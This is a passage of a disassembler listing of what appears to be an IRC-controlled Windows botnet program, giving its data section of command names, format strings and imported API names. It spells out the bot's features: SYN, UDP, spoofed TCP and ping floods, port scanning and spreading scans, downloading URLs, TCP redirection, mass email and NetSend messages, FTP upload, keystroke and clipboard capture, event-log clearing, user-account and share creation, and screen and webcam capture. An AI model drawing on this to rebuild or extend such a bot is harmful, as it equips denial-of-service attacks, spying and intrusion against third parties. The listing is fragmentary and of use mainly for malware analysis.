aFloodingSSFo_0	db '- Flooding: (%s:%s) for %s seconds.',0
		align 4
unk_443E0C	db  2Dh	; -		; DATA XREF: sub_401CC7+65DBo
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aFailedToSta_23	db '- Failed to start flood thread, error: <%d>.',0
		align 4
; char aSkysyn[]
aSkysyn		db 'skysyn',0           ; DATA XREF: sub_401CC7+4E42o
		align 4
; char asc_443E4C[]
asc_443E4C	db '-'                  ; DATA XREF: sub_401CC7+4EC5o
		db 3, 34h, 2
		dd 73796B73h, 3026E79h
aFloodingSSFo_1	db '- Flooding: (%s:%s) for %s seconds.',0
dword_443E7C	dd 234032Dh, 73796B73h,	3026E79h ; DATA	XREF: sub_401CC7+4F34o
aFailedToSta_24	db '- Failed to start flood thread, error: <%d>.',0
		align 4
; char aPhatwonk[]
aPhatwonk	db 'phatwonk',0         ; DATA XREF: sub_401CC7+4F41o
		align 4
; char aWonk[]
aWonk		db 'wonk',0             ; DATA XREF: sub_401CC7+4F58o
		align 4
; char asc_443ECC[]
asc_443ECC	db '-'                  ; DATA XREF: sub_401CC7+6484o
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aFloodingSFor_1	db 'Flooding %s for %s seconds using delay %s ms.',0
		align 4
unk_443F08	db  2Dh	; -		; DATA XREF: sub_401CC7+64F3o
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aFailedToSta_25	db 'Failed to start flood thread, error: <%d>.',0
		align 10h
; char aDownload[]
aDownload	db 'download',0         ; DATA XREF: sub_401CC7+4F6Fo
		align 4
; char aDl[]
aDl		db 'dl',0               ; DATA XREF: sub_401CC7+4F86o
		align 10h
; char asc_443F50[]
asc_443F50	db '-'                  ; DATA XREF: sub_401CC7+639Co
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloadingUrl	db 'Downloading URL: %s to: %s.',0
unk_443F7C	db  2Dh	; -		; DATA XREF: sub_401CC7+640Bo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_26	db 'Failed to start transfer thread, error: <%d>.',0
		align 4
; char aRedirect[]
aRedirect	db 'redirect',0         ; DATA XREF: sub_401CC7+4F9Do
		align 4
; char aRd[]
aRd		db 'rd',0               ; DATA XREF: sub_401CC7+4FB4o
		align 4
; char asc_443FCC[]
asc_443FCC	db '-'                  ; DATA XREF: sub_401CC7+625Eo
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aTcpRedirectCre	db 'TCP redirect created from: %s:%d to: %s:%d.',0
unk_444008	db  2Dh	; -		; DATA XREF: sub_401CC7+62CDo
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aFailedToStartR	db 'Failed to start redirection thread, error: <%d>.',0
		align 4
; char aScan_2[]
aScan_2		db 'scan',0             ; DATA XREF: sub_401CC7+4FCBo
		align 4
; char aSc[]
aSc		db 'sc',0               ; DATA XREF: sub_401CC7+4FE2o
		align 4
; char asc_444058[]
asc_444058	db '-'                  ; DATA XREF: sub_401CC7+6161o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPortScanStarte	db 'Port scan started: %s:%d with delay: %d(ms).',0
		align 4
unk_444094	db  2Dh	; -		; DATA XREF: sub_401CC7+61D0o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToSta_27	db 'Failed to start scan thread, error: <%d>.',0
		align 4
; char aC_privmsg[]
aC_privmsg	db 'c_privmsg',0        ; DATA XREF: sub_401CC7+4FF9o
		align 4
; char aC_pm[]
aC_pm		db 'c_pm',0             ; DATA XREF: sub_401CC7+5010o
		align 10h
; char aSSS_0[]
aSSS_0		db '[%s] <%s> %s',0     ; DATA XREF: sub_401CC7+60B5o
		align 10h
; char aC_action[]
aC_action	db 'c_action',0         ; DATA XREF: sub_401CC7+5027o
		align 4
; char aC_a[]
aC_a		db 'c_a',0              ; DATA XREF: sub_401CC7+503Eo
; char dword_444100
dword_444100	dd 54434101h, 204E4F49h, 17325h	; DATA XREF: sub_401CC7+5F52o
aSSS		db '[%s] * %s %s',0     ; DATA XREF: sub_401CC7+5FE0o
		align 4
; char aPortscan[]
aPortscan	db 'portscan',0         ; DATA XREF: sub_401CC7+5064o
		align 4
; char aPsc[]
aPsc		db 'psc',0              ; DATA XREF: sub_401CC7+507Bo
; char asc_44412C[]
asc_44412C	db '-'                  ; DATA XREF: sub_401CC7+5E81o
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPortScanStar_0	db 'Port scan started: %s with delay: %d(ms) checking range %d-%d.',0
		align 4
unk_44417C	db  2Dh	; -		; DATA XREF: sub_401CC7+5EF0o
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToSta_28	db 'Failed to start scan thread, error: <%d>.',0
		align 4
; char aAdvscan[]
aAdvscan	db 'advscan',0          ; DATA XREF: sub_401CC7+5092o
; char aAsc[]
aAsc		db 'asc',0              ; DATA XREF: sub_401CC7+50A9o
; char asc_4441C4[]
asc_4441C4	db '-'                  ; DATA XREF: sub_401CC7+5944o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aAlreadyDScan_0	db 'Already %d scanning threads. Too many specified.',0
		align 4
unk_444204	db  2Dh	; -		; DATA XREF: sub_401CC7+5BA8o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToSta_29	db 'Failed to start scan, port is invalid.',0
		align 4
unk_444238	db  2Dh	; -		; DATA XREF: sub_401CC7+5C05o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToSta_30	db 'Failed to start scan, no IP specified.',0
		align 4
aRandom_1	db 'Random',0           ; DATA XREF: sub_401CC7+5D49o
		align 4
aSequential_0	db 'Sequential',0       ; DATA XREF: sub_401CC7+5D50o
		align 10h
; char asc_444280[]
asc_444280	db '-'                  ; DATA XREF: sub_401CC7+5D7Bo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSPortScanSta_0	db '%s Port Scan started on %s:%d with a delay of %d seconds for %d m'
		db 'inutes using %d threads.',0
		align 4
unk_4442E8	db  2Dh	; -		; DATA XREF: sub_401CC7+5DEAo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToSta_31	db 'Failed to start scan thread, error: <%d>.',0
		align 10h
; char aUdpflood[]
aUdpflood	db 'udpflood',0         ; DATA XREF: sub_401CC7+50C0o
		align 4
; char aUdp[]
aUdp		db 'udp',0              ; DATA XREF: sub_401CC7+50D7o
; char aU[]
aU:					; DATA XREF: sub_401CC7+50EEo
		unicode	0, <u>,0
; char asc_444334[]
asc_444334	db '-'                  ; DATA XREF: sub_401CC7+587Ao
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aSendingDPacket	db '- Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0
		align 4
; char asc_44437C[]
asc_44437C	db '-'                  ; DATA XREF: sub_401CC7+58E5o
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aFailedToSta_32	db '- Failed to start flood thread, error: <%d>.',0
		align 4
; char aNetsend[]
aNetsend	db 'netsend',0          ; DATA XREF: sub_401CC7+5105o
; char aNs[]
aNs		db 'ns',0               ; DATA XREF: sub_401CC7+511Co
		align 10h
; char asc_4443C0[]
asc_4443C0	db '-'                  ; DATA XREF: sub_401CC7+56CFo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aSendingMessage	db '- Sending message %s times to %s using name %s',0
unk_4443FC	db  2Dh	; -		; DATA XREF: sub_401CC7+5771o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aNetsendDoesNot	db '- NetSend does not work on Win9x systems',0
		align 4
; char asc_444434[]
asc_444434	db '-'                  ; DATA XREF: sub_401CC7+5795o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aFailedToSendMe	db '- Failed to send message, error <%i>.',0
		align 4
unk_444468	db  2Dh	; -		; DATA XREF: sub_401CC7+57C9o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aMessageHasBeen	db '- Message has been sent successfuly',0
		align 4
; char aPingflood[]
aPingflood	db 'pingflood',0        ; DATA XREF: sub_401CC7+5133o
		align 4
; char aPing_0[]
aPing_0		db 'ping',0             ; DATA XREF: sub_401CC7+514Ao
		align 10h
; char aP[]
aP:					; DATA XREF: sub_401CC7+5161o
		unicode	0, <p>,0
; char asc_4444B4[]
asc_4444B4	db '-'                  ; DATA XREF: sub_401CC7+562Eo
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aSendingDPingsT	db 'Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0
		align 4
unk_4444FC	db  2Dh	; -		; DATA XREF: sub_401CC7+569Do
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_33	db 'Failed to start flood thread, error: <%d>.',0
		align 4
; char aIcmp_dllNotAva[]
aIcmp_dllNotAva	db 'ICMP.dll not available',0 ; DATA XREF: sub_401CC7+56B2o
		align 4
; char aVnchost[]
aVnchost	db 'vnchost',0          ; DATA XREF: sub_401CC7+5178o
; char aVncHttpHostCha[]
aVncHttpHostCha	db 'VNC: HTTP Host Changed To: %s',0 ; DATA XREF: sub_401CC7+5196o
		align 4
; char aTcpflood[]
aTcpflood	db 'tcpflood',0         ; DATA XREF: sub_401CC7+51C0o
		align 10h
; char aTcp[]
aTcp		db 'tcp',0              ; DATA XREF: sub_401CC7+51D7o
; char aSyn_0[]
aSyn_0		db 'syn',0              ; DATA XREF: sub_401CC7+540Bo
; char aAck[]
aAck		db 'ack',0              ; DATA XREF: sub_401CC7+5423o
; char aRandom_0[]
aRandom_0	db 'random',0           ; DATA XREF: sub_401CC7+543Ao
		align 4
aSpoofed	db 'Spoofed',0          ; DATA XREF: sub_401CC7+54E5o
aNormal		db 'Normal',0           ; DATA XREF: sub_401CC7+54ECo
		align 4
; char asc_4445A4[]
asc_4445A4	db '-'                  ; DATA XREF: sub_401CC7+54FCo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aSSFloodingSSFo	db '- %s %s flooding: (%s:%s) for %s seconds.',0
		align 4
unk_4445D8	db  2Dh	; -		; DATA XREF: sub_401CC7+5576o
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aFailedToSta_34	db '- Failed to start flood thread, error: <%d>.',0
		align 10h
; char asc_444610[]
asc_444610	db '-'                  ; DATA XREF: sub_401CC7:loc_407247o
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aInvalidFlood_0	db '- Invalid flood time must be greater than 0.',0
		align 4
unk_444648	db  2Dh	; -		; DATA XREF: sub_401CC7+544Ao
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aInvalidFloodTy	db '- Invalid flood type specified.',0
		align 4
; char aEmail[]
aEmail		db 'email',0            ; DATA XREF: sub_401CC7+51EEo
		align 4
; char asc_44467C[]
asc_44467C:				; DATA XREF: sub_401CC7+5238o
		unicode	0, < >,0
; char a__1[]
a__1:					; DATA XREF: sub_401CC7+523Do
		unicode	0, <_>,0
; char aHeloRndnickMai[]
aHeloRndnickMai	db 'helo $rndnick',0Ah  ; DATA XREF: sub_401CC7+52D9o
		db 'mail from: <%s>',0Ah
		db 'rcpt to: <%s>',0Ah
		db 'data',0Ah
		db 'subject: %s',0Ah
		db 'from: %s',0Ah
		db '%s',0Ah
		db '.',0Ah,0
; char asc_4446D0[]
asc_4446D0	db '-'                  ; DATA XREF: sub_401CC7+534Do
		db 3, 34h, 2
		db  65h	; e
		db 6Dh,	61h, 69h
		db  6Ch	; l
		db 2, 3, 2Dh
aMessageSentToS	db ' Message sent to %s.',0
		align 4
; char aHttpcon[]
aHttpcon	db 'httpcon',0          ; DATA XREF: sub_401CC7+539Co
; char aHcon[]
aHcon		db 'hcon',0             ; DATA XREF: sub_401CC7+53AFo
		align 4
; char aUpload[]
aUpload		db 'upload',0           ; DATA XREF: sub_401CC7+597Ao
		align 4
; char asc_44470C[]
asc_44470C	db '-'                  ; DATA XREF: sub_401CC7+599Do
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aFileNotFoundS_	db '- File not found: %s.',0
		align 4
; char aSIII_dll[]
aSIII_dll	db '%s\%i%i%i.dll',0    ; DATA XREF: sub_401CC7+59F6o
		align 4
; char Mode[]
Mode		db 'ab',0               ; DATA XREF: sub_401CC7+5A07o
		align 10h
; char aOpenSSSSPutSBy[]
aOpenSSSSPutSBy	db 'open %s',0Dh,0Ah    ; DATA XREF: sub_401CC7+5A2Bo
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db 'put %s',0Dh,0Ah
		db 'bye',0Dh,0Ah,0
		align 4
; char aSS_2[]
aSS_2		db '-s:%s',0            ; DATA XREF: sub_401CC7+5A4Eo
		align 4
aFtp_exe	db 'ftp.exe',0          ; DATA XREF: sub_401CC7+5A65o
aOpen_0		db 'open',0             ; DATA XREF: sub_401CC7+5A6Ao
		align 4
unk_44477C	db  2Dh	; -		; DATA XREF: sub_401CC7+5A7Co
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aUploadingFileS	db '- Uploading file: %s to: %s',0
		align 4
; char asc_4447A4[]
asc_4447A4	db '-'                  ; DATA XREF: sub_401CC7:loc_40774Ao
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aUploadingFil_0	db '- Uploading file: %s to: %s failed.',0
		align 4
; char aNotice_3[]
aNotice_3	db 'NOTICE',0           ; DATA XREF: sub_409D6C+Fo
		align 4
aPrivmsg_2	db 'PRIVMSG',0          ; DATA XREF: sub_409D6C+16o
; char aS_21[]
aS_21		db '%s',0               ; DATA XREF: sub_409D6C+3Do
		align 4
; char aSSS_1[]
aSSS_1		db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_409D6C+5Do
aKernel32_dll	db 'kernel32.dll',0     ; DATA XREF: sub_409E0C+Ao
		align 4
aSeterrormode	db 'SetErrorMode',0     ; DATA XREF: sub_409E0C+23o
		align 4
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_409E0C+2Bo
		align 10h
aProcess32first	db 'Process32First',0   ; DATA XREF: sub_409E0C+38o
		align 10h
aProcess32next	db 'Process32Next',0    ; DATA XREF: sub_409E0C+45o
		align 10h
aModule32first	db 'Module32First',0    ; DATA XREF: sub_409E0C+52o
		align 10h
aGetdiskfreespa	db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_409E0C+5Fo
aGetlogicaldriv	db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_409E0C+6Co
aGetdrivetypea	db 'GetDriveTypeA',0    ; DATA XREF: sub_409E0C+79o
		align 4
aSearchpatha	db 'SearchPathA',0      ; DATA XREF: sub_409E0C+86o
aQueryperforman	db 'QueryPerformanceCounter',0 ; DATA XREF: sub_409E0C+93o
aQueryperform_0	db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_409E0C+A0o
		align 4
aRegisterservic	db 'RegisterServiceProcess',0 ; DATA XREF: sub_409E0C:loc_409F14o
		align 4
aUser32_dll	db 'user32.dll',0       ; DATA XREF: sub_409E0C:loc_409F41o
		align 10h
aSendmessagea	db 'SendMessageA',0     ; DATA XREF: sub_409E0C+14Ao
		align 10h
aFindwindowa	db 'FindWindowA',0      ; DATA XREF: sub_409E0C+152o
aIswindow	db 'IsWindow',0         ; DATA XREF: sub_409E0C+15Fo
		align 4
aDestroywindow	db 'DestroyWindow',0    ; DATA XREF: sub_409E0C+16Co
		align 4
aOpenclipboard	db 'OpenClipboard',0    ; DATA XREF: sub_409E0C+179o
		align 4
aGetclipboardda	db 'GetClipboardData',0 ; DATA XREF: sub_409E0C+186o
		align 4
aCloseclipboard	db 'CloseClipboard',0   ; DATA XREF: sub_409E0C+193o
		align 4
aExitwindowsex	db 'ExitWindowsEx',0    ; DATA XREF: sub_409E0C+1A0o
		align 4
aGetasynckeysta	db 'GetAsyncKeyState',0 ; DATA XREF: sub_409E0C:loc_40A004o
		align 10h
aGetkeystate	db 'GetKeyState',0      ; DATA XREF: sub_409E0C+200o
aGetwindowtexta	db 'GetWindowTextA',0   ; DATA XREF: sub_409E0C+20Do
		align 4
aGetforegroundw	db 'GetForegroundWindow',0 ; DATA XREF: sub_409E0C+21Ao
aAdvapi32_dll	db 'advapi32.dll',0     ; DATA XREF: sub_409E0C:loc_40A06Bo
		align 10h
aRegopenkeyexa	db 'RegOpenKeyExA',0    ; DATA XREF: sub_409E0C+270o
		align 10h
aRegcreatekeyex	db 'RegCreateKeyExA',0  ; DATA XREF: sub_409E0C+278o
aRegsetvalueexa	db 'RegSetValueExA',0   ; DATA XREF: sub_409E0C+285o
		align 10h
aRegqueryvaluee	db 'RegQueryValueExA',0 ; DATA XREF: sub_409E0C+292o
		align 4
aRegdeletevalue	db 'RegDeleteValueA',0  ; DATA XREF: sub_409E0C+29Fo
aRegclosekey	db 'RegCloseKey',0      ; DATA XREF: sub_409E0C+2ACo
aOpeneventloga	db 'OpenEventLogA',0    ; DATA XREF: sub_409E0C+2B9o
		align 10h
aCleareventloga	db 'ClearEventLogA',0   ; DATA XREF: sub_409E0C+2C6o
		align 10h
aOpenprocesstok	db 'OpenProcessToken',0 ; DATA XREF: sub_409E0C:loc_40A11Eo
		align 4
aLookupprivileg	db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_409E0C+31Ao
		align 4
aAdjusttokenpri	db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_409E0C+327o
		align 4
aOpenscmanagera	db 'OpenSCManagerA',0   ; DATA XREF: sub_409E0C:loc_40A163o
		align 4
aOpenservicea	db 'OpenServiceA',0     ; DATA XREF: sub_409E0C+35Fo
		align 4
aStartservicea	db 'StartServiceA',0    ; DATA XREF: sub_409E0C+36Co
		align 4
aControlservice	db 'ControlService',0   ; DATA XREF: sub_409E0C+379o
		align 4
aDeleteservice	db 'DeleteService',0    ; DATA XREF: sub_409E0C+386o
		align 4
aCloseserviceha	db 'CloseServiceHandle',0 ; DATA XREF: sub_409E0C+393o
		align 4
aEnumservicesst	db 'EnumServicesStatusA',0 ; DATA XREF: sub_409E0C+3A0o
aIsvalidsecurit	db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_409E0C+3ADo
		align 4
aGetusernamea	db 'GetUserNameA',0     ; DATA XREF: sub_409E0C:loc_40A211o
		align 4
aGdi32_dll	db 'gdi32.dll',0        ; DATA XREF: sub_409E0C:loc_40A239o
		align 4
aCreatedca	db 'CreateDCA',0        ; DATA XREF: sub_409E0C+43Eo
		align 10h
aCreatedibsecti	db 'CreateDIBSection',0 ; DATA XREF: sub_409E0C+446o
		align 4
aCreatecompatib	db 'CreateCompatibleDC',0 ; DATA XREF: sub_409E0C+453o
		align 4
aGetdevicecaps	db 'GetDeviceCaps',0    ; DATA XREF: sub_409E0C+460o
		align 4
aGetdibcolortab	db 'GetDIBColorTable',0 ; DATA XREF: sub_409E0C+46Do
		align 4
aSelectobject	db 'SelectObject',0     ; DATA XREF: sub_409E0C+47Ao
		align 4
aBitblt		db 'BitBlt',0           ; DATA XREF: sub_409E0C+487o
		align 4
aDeletedc	db 'DeleteDC',0         ; DATA XREF: sub_409E0C+494o
		align 10h
aDeleteobject	db 'DeleteObject',0     ; DATA XREF: sub_409E0C+4A1o
		align 10h
aWs2_32_dll	db 'ws2_32.dll',0       ; DATA XREF: sub_409E0C+514o
		align 4
aWsastartup	db 'WSAStartup',0       ; DATA XREF: sub_409E0C+525o
		align 4
aWsasocketa	db 'WSASocketA',0       ; DATA XREF: sub_409E0C+52Do
		align 4
aWsaasyncselect	db 'WSAAsyncSelect',0   ; DATA XREF: sub_409E0C+53Ao
		align 4
a__wsafdisset	db '__WSAFDIsSet',0     ; DATA XREF: sub_409E0C+547o
		align 4
aWsaioctl	db 'WSAIoctl',0         ; DATA XREF: sub_409E0C+554o
		align 10h
aWsagetlasterro	db 'WSAGetLastError',0  ; DATA XREF: sub_409E0C+561o
aWsacleanup	db 'WSACleanup',0       ; DATA XREF: sub_409E0C+56Eo
		align 4
aSocket		db 'socket',0           ; DATA XREF: sub_409E0C+57Bo
		align 4
aIoctlsocket	db 'ioctlsocket',0      ; DATA XREF: sub_409E0C+588o
					; .data:00455CBCo
aConnect	db 'connect',0          ; DATA XREF: sub_409E0C+595o
aInet_ntoa	db 'inet_ntoa',0        ; DATA XREF: sub_409E0C+5A2o
		align 4
aInet_addr	db 'inet_addr',0        ; DATA XREF: sub_409E0C+5AFo
		align 10h
aHtons		db 'htons',0            ; DATA XREF: sub_409E0C+5BCo
		align 4
aHtonl		db 'htonl',0            ; DATA XREF: sub_409E0C+5C9o
		align 10h
aNtohs		db 'ntohs',0            ; DATA XREF: sub_409E0C+5D6o
		align 4
aNtohl		db 'ntohl',0            ; DATA XREF: sub_409E0C+5E3o
		align 10h
aSend_1		db 'send',0             ; DATA XREF: sub_409E0C+5F0o
		align 4
aSendto		db 'sendto',0           ; DATA XREF: sub_409E0C+5FDo
		align 10h
aRecv		db 'recv',0             ; DATA XREF: sub_409E0C+60Ao
		align 4
aRecvfrom	db 'recvfrom',0         ; DATA XREF: sub_409E0C+617o
		align 4
aBind		db 'bind',0             ; DATA XREF: sub_409E0C+629o
		align 4
aSelect		db 'select',0           ; DATA XREF: sub_409E0C+631o
		align 4
aListen		db 'listen',0           ; DATA XREF: sub_409E0C+63Eo
		align 4
aAccept		db 'accept',0           ; DATA XREF: sub_409E0C+64Bo
		align 4
aSetsockopt	db 'setsockopt',0       ; DATA XREF: sub_409E0C+658o
		align 10h
aGetsockname	db 'getsockname',0      ; DATA XREF: sub_409E0C+665o
aGethostname	db 'gethostname',0      ; DATA XREF: sub_409E0C+672o
aGethostbyname	db 'gethostbyname',0    ; DATA XREF: sub_409E0C+67Fo
		align 4
aGethostbyaddr	db 'gethostbyaddr',0    ; DATA XREF: sub_409E0C+68Co
		align 4
aGetpeername	db 'getpeername',0      ; DATA XREF: sub_409E0C+699o
aClosesocket	db 'closesocket',0      ; DATA XREF: sub_409E0C+6A6o
aWininet_dll	db 'wininet.dll',0      ; DATA XREF: sub_409E0C:loc_40A5EBo
aInternetgetcon	db 'InternetGetConnectedState',0 ; DATA XREF: sub_409E0C+7F0o
		align 4
aInternetgetc_0	db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_409E0C+7F8o
aHttpopenreques	db 'HttpOpenRequestA',0 ; DATA XREF: sub_409E0C+805o
		align 4
aHttpsendreques	db 'HttpSendRequestA',0 ; DATA XREF: sub_409E0C+812o
		align 4
aInternetconnec	db 'InternetConnectA',0 ; DATA XREF: sub_409E0C+81Fo
		align 10h
aInternetopena	db 'InternetOpenA',0    ; DATA XREF: sub_409E0C+82Co
		align 10h
aInternetopenur	db 'InternetOpenUrlA',0 ; DATA XREF: sub_409E0C+839o
		align 4
aInternetcracku	db 'InternetCrackUrlA',0 ; DATA XREF: sub_409E0C+846o
		align 4
aInternetreadfi	db 'InternetReadFile',0 ; DATA XREF: sub_409E0C+853o
		align 4
aInternetcloseh	db 'InternetCloseHandle',0 ; DATA XREF: sub_409E0C+860o
aMozilla4_0Comp	db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_409E0C+8D2o
		align 4
aIcmp_dll	db 'icmp.dll',0         ; DATA XREF: sub_409E0C:loc_40A70Bo
		align 4
aIcmpcreatefile	db 'IcmpCreateFile',0   ; DATA XREF: sub_409E0C+90Co
		align 4
aIcmpclosehandl	db 'IcmpCloseHandle',0  ; DATA XREF: sub_409E0C+914o
aIcmpsendecho	db 'IcmpSendEcho',0     ; DATA XREF: sub_409E0C+921o
		align 4
aNetapi32_dll	db 'netapi32.dll',0     ; DATA XREF: sub_409E0C:loc_40A76Ao
		align 4
aNetshareadd	db 'NetShareAdd',0      ; DATA XREF: sub_409E0C+96Fo
aNetsharedel	db 'NetShareDel',0      ; DATA XREF: sub_409E0C+977o
aNetshareenum	db 'NetShareEnum',0     ; DATA XREF: sub_409E0C+984o
		align 10h
aNetschedulejob	db 'NetScheduleJobAdd',0 ; DATA XREF: sub_409E0C+991o
		align 4
aNetapibufferfr	db 'NetApiBufferFree',0 ; DATA XREF: sub_409E0C+99Eo
		align 4
aNetremotetod	db 'NetRemoteTOD',0     ; DATA XREF: sub_409E0C+9ABo
		align 4
aNetuseradd	db 'NetUserAdd',0       ; DATA XREF: sub_409E0C+9B8o
		align 4
aNetuserdel	db 'NetUserDel',0       ; DATA XREF: sub_409E0C+9C5o
		align 10h
aNetuserenum	db 'NetUserEnum',0      ; DATA XREF: sub_409E0C+9D2o
aNetusergetinfo	db 'NetUserGetInfo',0   ; DATA XREF: sub_409E0C+9DFo
		align 4
aNetmessagebuff	db 'NetMessageBufferSend',0 ; DATA XREF: sub_409E0C+9ECo
		align 4
aNetwkstagetinf	db 'NetWkstaGetInfo',0  ; DATA XREF: sub_409E0C+9F9o
aDnsapi_dll	db 'dnsapi.dll',0       ; DATA XREF: sub_409E0C:loc_40A886o
		align 10h
aDnsflushresolv	db 'DnsFlushResolverCache',0 ; DATA XREF: sub_409E0C+A87o
		align 4
aDnsflushreso_0	db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_409E0C+A8Fo
		align 4
aIphlpapi_dll	db 'iphlpapi.dll',0     ; DATA XREF: sub_409E0C:loc_40A8D0o
		align 4
aGetipnettable	db 'GetIpNetTable',0    ; DATA XREF: sub_409E0C+AD1o
		align 4
aDeleteipnetent	db 'DeleteIpNetEntry',0 ; DATA XREF: sub_409E0C+AD9o
		align 4
aMpr_dll	db 'mpr.dll',0          ; DATA XREF: sub_409E0C:loc_40A91Ao
aWnetaddconnect	db 'WNetAddConnection2A',0 ; DATA XREF: sub_409E0C+B1Bo
aWnetaddconne_0	db 'WNetAddConnection2W',0 ; DATA XREF: sub_409E0C+B23o
aWnetcancelconn	db 'WNetCancelConnection2A',0 ; DATA XREF: sub_409E0C+B30o
		align 4
aWnetcancelco_0	db 'WNetCancelConnection2W',0 ; DATA XREF: sub_409E0C+B3Do
		align 4
aShell32_dll	db 'shell32.dll',0      ; DATA XREF: sub_409E0C:loc_40A98Eo
aShellexecutea	db 'ShellExecuteA',0    ; DATA XREF: sub_409E0C+B8Fo
		align 4
aShchangenotify	db 'SHChangeNotify',0   ; DATA XREF: sub_409E0C+B97o
		align 4
aOdbc32_dll	db 'odbc32.dll',0       ; DATA XREF: sub_409E0C:loc_40A9D8o
		align 4
aSqldriverconne	db 'SQLDriverConnect',0 ; DATA XREF: sub_409E0C+BD9o
		align 4
aSqlsetenvattr	db 'SQLSetEnvAttr',0    ; DATA XREF: sub_409E0C+BE1o
		align 4
aSqlexecdirect	db 'SQLExecDirect',0    ; DATA XREF: sub_409E0C+BEEo
		align 4
aSqlallochandle	db 'SQLAllocHandle',0   ; DATA XREF: sub_409E0C+BFBo
		align 4
aSqlfreehandle	db 'SQLFreeHandle',0    ; DATA XREF: sub_409E0C+C08o
		align 4
aSqldisconnect	db 'SQLDisconnect',0    ; DATA XREF: sub_409E0C+C15o
		align 4
aAvicap32_dll	db 'avicap32.dll',0     ; DATA XREF: sub_409E0C:loc_40AA76o
		align 4
aCapcreatecaptu	db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_409E0C+C77o
aCapgetdriverde	db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_409E0C+C7Fo
		align 4
; char aKernel32_dllFa[]
aKernel32_dllFa	db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40AAC8+28o
		align 4
; char aUser32_dllFail[]
aUser32_dllFail	db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40AAC8+5Co
; char aAdvapi32_dllFa[]
aAdvapi32_dllFa	db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40AAC8+90o
		align 4
; char aGdi32_dllFaile[]
aGdi32_dllFaile	db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40AAC8+C4o
		align 4
; char aWs2_32_dllFail[]
aWs2_32_dllFail	db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40AAC8+F8o
; char aWininet_dllFai[]
